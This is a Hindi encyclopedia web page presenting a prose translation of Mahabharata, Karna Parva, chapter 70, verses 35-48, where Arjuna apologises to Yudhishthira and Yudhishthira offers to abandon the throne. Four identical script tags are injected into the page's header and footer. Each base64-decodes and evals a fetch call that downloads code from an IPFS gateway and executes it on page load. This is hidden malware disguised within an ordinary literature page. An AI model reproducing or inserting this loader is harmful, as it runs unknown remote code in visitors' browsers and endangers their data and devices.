महाभारत कर्ण पर्व अध्याय 70 श्लोक 35-48
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
सप्ततितम (70) अध्याय: कर्ण पर्व
‘जो अस्त्र विद्या के ज्ञाता हैं, उन्हीं को मैं अस्त्रों द्वारा मारता हूं; इसीलिये मैं यहां सम्पूर्ण लोकों को भस्म नहीं करता हूं। श्रीकृष्ण। अब हम दोनों विजयशाली एवं भयंकर रथ पर बैठकर सूतपुत्र का वध करने के लिये शीघ्र ही चल दें । ‘आज ये राजा युधिष्ठिर संतुष्ट हों। मैं रणभूमि मे अपने बाणों द्वारा कर्ण का नाश कर डालूंगा। यों कहकर अर्जुन पुन: धर्मात्माओं में श्रेष्ठ युधिष्ठिर से बोले ।'आज मेरे द्वारा सूतपुत्र की माता पुत्रहीन हो जायगी अथवा मेरी माता कुन्ती ही कर्ण के द्वारा मुझ एक पुत्र से हीन हो जायगी। मैं सत्य कहता हूं, आज युद्धस्थल में अपने बाणों द्वारा कर्ण को मारे बिना मैं कवच नहीं उतारुंगा । संजय उवाच संजय कहते है- महाराज। किरीटधारी कुन्तीकुमार अर्जुन धर्मात्माओं में श्रेष्ठ युधिष्ठिर से पुन: ऐसा कहकर शस्त्र खोल, धनुष नीचे डाल और तलवार को तुरंत ही भ्यान में रखकर लज्जा से नतमस्तक हो हाथ जोड़ पुन: उनसे इस प्रकार बोले-‘राजन्। आप प्रसन्न हों। मैंने जो कुछ कहा है, उसके लिये क्षमा करें। समय पर आपको सब कुछ मालूम हो जायगा। इसलिये आपको मेरा नमस्कार है’ । इस प्रकार शत्रुओं का सामना करने में समर्थ राजा युधिष्ठिर को प्रसन्न करके प्रमुख वीर अर्जुन खड़े होकर फिर बोले-‘महाराज। अब कर्ण के वध में देर नहीं है। यह कार्य शीघ्र ही होगा। वह इधर ही आ रहा है; अत: मैं भी उसी पर चढ़ाई कर रहा हूं । ‘राजन्। मैं अभी भीमसेन को संग्राम से छुटकारा दिलाने और सब प्रकार से सूतपुत्र कर्ण का वध करने के लिये जा रहा हूं। मेरा जीवन आपका प्रिय करने के लिये ही है। यह मैं सत्य कहता हूं। आप इसे अच्छी तरह समझ लें ।इस प्रकार जाने के लिये उद्यत हो राजा युधिष्ठिर के चरण छूकर उदीप्त तेजवाले किरीटधारी अर्जुन उठ खड़े हुए। इधर अपने भाई अर्जुन का पूर्वोक्त रुप से कठोर वचन सुनकर पाण्डुपुत्र धर्मराज युधिष्ठिर दु:ख से व्याकुलचित्त होकर उस शय्या से उठ गये और अर्जुन से इस प्रकार बोले ।‘कुन्तीनन्दन। अवश्य ही मैंने अच्छा कर्म नहीं किया है, जिससे तुमलोगों पर अत्यन्त भयंकर संकट आ पड़ा है। मैं कुलान्तकारी नराधम पापी, पापमय दुर्व्यसन में आसक्त, मूढ़बुद्धि, आलसी और डरपोक हूं: इसलिये आज तुम मेरा यह मस्तक काट डालो ।‘मैं बड़े बूढ़ों का अनादर करने वाला और कठोर हूं। तुम्हें मेरी रुखी बातों का दीर्घकाल तक अनुसरण करने की क्या आवश्यकता है। मैं पापी आज वन में ही चला जा रहा हूं। तुम मुझ से अलग होकर सुख से रहो । 'महामनस्वी भीमसेन सुयोग्य राजा होंगे। मुझ कायर को राज्य लेने से क्या काम है अब पुन: मुझ में तुम्हारे रोष पूर्वक कहे हुए इन कठोर वचनों को सहने की शक्ति नहीं है । 'वीर। भीमसेन राजा हों। आज इतना अपमान हो जाने पर मुझे जीवित रहने की आवशयकता नहीं है। ऐसा कहकर राजा युधिष्ठिर सहसा पलंग छोड़कर वहां से नीचे कूद पड़े और वन में जाने की इच्छा करने लगे। तब भगवान् श्रीकृष्ण ने उनके चरणों में प्रणाम करके इस प्रकार कहा ।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>